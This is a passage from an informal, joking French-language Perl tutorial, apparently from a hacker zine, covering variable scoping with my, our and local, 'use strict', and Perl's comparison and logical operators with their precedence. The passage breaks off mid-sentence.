Perl ils peuvent être beaucoup plus complexes que dans tout autre langage populaire (tel que le C ou le Basic) Bon ok, j'avoue que c'est poche juste déclarer des variables avec my ou local. Wait a minute... ah j'en ai pas parlé! Vous vous rappelez donc que la ligne $meuh = 0; crée une variable. Pour la plupart du monde ça fait comme en VB pas d'Option Explicit. Par contre ceux qui code en C ou C++ (ceux qui font des vrais programme donc, heh) sont habitués de toujours avoir à déclarer les variables à qqpart. Pourquoi? Comme c'est la j'en vois deux raisons évidentes: pour choisir un scope à la variable, et pour régler des problèmes du genre "ah je suis toute fucké dans mon code". Comme preuve observons ce que c'est qu'un scope : C'est une portée pour la variable, exemple: si je déclare $meuh; dans une boucle while il va exister seulement dans cette boucle, sauf que Perl est intelligent et va mettre la variable globale si tu l'utilise en dehors de la boucle, mais ça d'lair qui va la mettre globale nyways paske yé cave(j'ai toujours des aussi bons arguments, heh). Donc tant qu'a être tout fourré, le dompteur de chameau expérimenté va mettre des my devant les variables pour les associer avec le scope courrant. Donc un my $meuh; dans une boucle va garder le $meuh pour cette boucle, même chose pour des sous-routines. Pour une variable globale, juste à mettre "our" à la place de "my". Pour localiser une variable globale, il suffi de la déclarer avec local. Un local sert donc à ne pas toucher au contenu d'une variable globale dans une sous-routine. Pratique quand on aime utiliser la variable $a.. heh. Bon maintenant que vous savez comment la déclaration de variables marche, vous pouvez mettre use strict; au début de vos scripts. Ce pragma la (a part de rimmer avec "la", un pragma c't'une commande qu'on donne au compilateur) sert à faire le fameux "Option explicit" en VB, donc force à déclarer toute variable, fatigant mais pratique. Bon quoi d'autres sur les variables.. ah, $_ et les autres variables spéciales. Prochain article p-e. :-P Ben oui c'est un opérateur ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ Tel que promis dans cet article number two, on va regarder les opérateurs. Y'en a beaucoup. Et c'est loin d'être juste + - / * qui sont comptés comme opérateur en Perl.. même les " en sont un quand on y pense... (oui qq// vous vous rappelez? qq est un opérateur, avec " il est implicite.. ouf). Je crois pas que j'ai besoin de faire un speech de 2 heures sur + - / * ++ -- dans le cas d'opérations mathématiques avec des nombres. La chose qu'il faut savoir : Perl s'occupe de tout! Vu que les types int, String, long, etc. n'existent pas en Perl, perl s'occupe lui-même de faire de faire la conversion, donc il s'amuse comme il veut avec les variables. print "meuh" + 5 va donner 5 comme résultat.. print "4.5" + 5 va donner 9.5, il faut remarquer que "4.5" c'est une string et que 5 c'est un nombre! auto-conversion ici! Ce qui a d'intéressent en Perl, c'est les opérateurs de comparaisons. Y'en a un beau paquet. Bien sure ya < > >= <= == !=. Mais ça c'est quand on veut le faire sur des nombres, quand on veut s'amuser avec les String, on utilise eq ne gt ge je crois que ça vaut la peine que je fasse un petit tableau! (qui est totalement ripped off de mon autre article de vla 1 an et demi :-P) |¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯| | Nombre String ce que c'est: | |¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯| | == eq égal à | | != ne pas égal à | | <=> cmp retourne -1 si a gauche c plus bas, | | +1 si plus haut et 0 si égal. | | > gt Plus grand | | >= ge Plus grand ou égal | | < lt Plus petit | | <= le Plus petit ou égal | |___________________________________________________________| Évidemment il y a aussi tout les opérateurs booléens && || ! en double! Pkoi en double? ben parce qu'on a aussi and or et not.. La raison est simple avec un exemple, parfois on veut utiliser un or avec une précédence moins forte. hein? ok ne pas capoter, rappeler vous en math (et en prog) que le * est plus fort que le +, bien c'est pareil pour les opérateurs en Perl. Dans le cas présent les or sont plus faibles que les ||. Par contre , vient dans le millieu (donc || est plus fort que , qui est plus fort que or), donc dans le cas présent on peut se permettre de faire open FILE, "machin" or die; tandis qu'avec le || on est obligé de mettre des () car le || est plus fort que , donc Perl voit ça comme : J'ouvre avec handle FILE. J'ouvre quoi? machin ou die. Au lieu de : J'ouvre avec le handle FILE le fichier machin, ou je crève (ce qui devrait être le cas). Donc il est évidant que les () changent les choses, car ce sont les opérateurs les plus puissants. Par contre, il ne faut pas trop vite sauter à cette conclusion, en Perl on préfère dire que () fait des appels de fonction, donc open(FILE, "machin") est un appel de la fonction open. Simple. À part les opérateurs bitwise (pour manipuler des bits [gros inside ici] ;-) & et | il y a un paquet d'autres opérateurs "standards" que vous allez retrouvez dans le tableau un peu plus loin. Il y a .. ... x =~ et !~ d'intéressants. =~ et !~ permettent tout simplement de comparer une string avec un regex. La ligne suivante $meuh =~ /haha/; va retourner true si haha est contenu dans $meuh. Je vais revenir sur les regex dans un futur article, car c'est une des grandes puissances de Perl; l'engine de regex est tout simplement génial. x permet de répéter la même chose. Donc si vous voulez faire de la payload injection de "a" vous faite print "a" x 99999999999999999999; et le tour est joué! 99999999999999999999 "a" d'imprimés! À vous la connaissance unique! .. et ... permette de faire une suite. Par exemple for (1..10) { print; } loop de 1 a 10 et print ça. En plus tça, .. et ... testent si la valeur de droite est vrai (sinon ils n'exécutent pas l'itération). C'est la qu'on retrouve la différence entre .. et ..., ce dernier skip la première comparaison. J'ai malheureusement pas réussi à inventer de quoi de pratique pour ça.. Bon vu que vous aimez le coté esthétique de mes merveilleux tableaux (arrêter de m'envoyer des emails de menaces qui disent que mes ASCII sont laids, merci); voici le big tableau des opérateur! |¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯| | Liste des opérateurs par précédence (décroissante) | |¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯| | ( ) | | -> | | ++ -- | | ** | | ! ~ \ et le + - unaires | | =~ !~ | | * / % x | | + - . | | << >> | | < > <= >= lt gt le ge | | == != <=> eq ne cmp | | & | | | ^ | | && | | || | | .. ... | | ?: | | = += -= *= (et etc.) | | , => | | not | | and | | or xor | |______________________________________________________| Brought to you by the Mindkind-ASCII-laid dept. [Note de Last: Trouvez pas que cte ASCII la ressemble à un totem? haha] Unaires? ouais.. traduction LastCall_ de unary.. il y a des opérateurs comme ça qui s'appliquent juste à un élément et non 2.. genre ++ est le plus populaire. D'habitude un opérateur est binary (2 opérandes), genre 2 * 2. Il y en a des tertiaires aussi, comme ? : (pareil comme en C); Il est aussi à noter que le . fait la concaténation(mot à 10$) de strings! Affaire weird du moment ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ J'aurais dû en parler dans mon précédent article, mais mieux vaut tard que jamais! Vous vous rappelez de $pwet = "meuh"; ? Et bien admetton que je veux assigner une variable de plusieurs lignes sans écrire les \n? Qu'est-ce que je fa